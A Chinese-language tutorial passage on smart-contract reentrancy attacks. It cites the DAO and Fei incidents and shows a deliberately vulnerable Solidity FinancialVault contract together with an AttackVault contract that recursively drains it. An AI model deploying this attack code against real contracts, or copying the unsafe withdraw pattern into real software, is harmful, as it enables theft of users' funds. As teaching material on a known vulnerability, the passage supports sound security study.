重入攻击
重入攻击是针对智能合约最常见的攻击类型之一,攻击者利用合约的漏洞递归调用合约,使其能够从合约中转移资产或者铸造大量的代币。
2016年,DAO 合约遭到重入攻击,导致从合约中盗取了 3,600,000 ETH。 此事件导致以太坊网络分叉为两个链:ETH 和 ETC(以太坊经典)。
2022 年,算法稳定币项目 Fei 遭到重入攻击,导致损失 8000 万美元。 更多信息可以在 此处 找到。
当合约在确保其状态正确更新之前进行外部调用时,可能会发生重入攻击。 Attackers can exploit this by making the vulnerable contract invoke an attacker-controlled contract, which then re-invokes the original contract repeatedly. 这种重复调用可以在正确更新前操纵合约的状态,导致可能的资金损失。
考虑一个简化的 FinancialVault
合约,它允许存入和取出 ETH,类似于银行账户:
contract FinancialVault {
mapping(address => uint256) public balances;
function depositFunds() external payable {
balances[msg.sender] += msg.value;
}
function withdrawFunds() external {
uint256 fundsToWithdraw = balances[msg.sender];
require(fundsToWithdraw > 0, "No funds available");
(bool sent, ) = msg.sender.call{value: fundsToWithdraw}("");
require(sent, "Failed to send funds");
balances[msg.sender] = 0;
}
function getVaultBalance() external view returns (uint256) {
return address(this).balance;
}
}
在这个合约中,withdrawFunds
方法容易受到重入攻击。 攻击者可以利用一个设计用来在提款过程中重新进入 FinancialVault
合约来进行攻击:
contract AttackVault {
FinancialVault public vault;
constructor(FinancialVault _vault) {
vault = _vault;
}
receive() external payable {
if (address(vault).balance >= 1 ether) {
vault.withdrawFunds();
}
}
function initiateAttack() external payable {
require(msg.value == 1 ether, "1 Ether required for the attack");
vault.depositFunds{value: 1 ether}();
vault.withdrawFunds();
}
function getContractBalance() external view returns (uint256) {
return address(this).balance;
}
}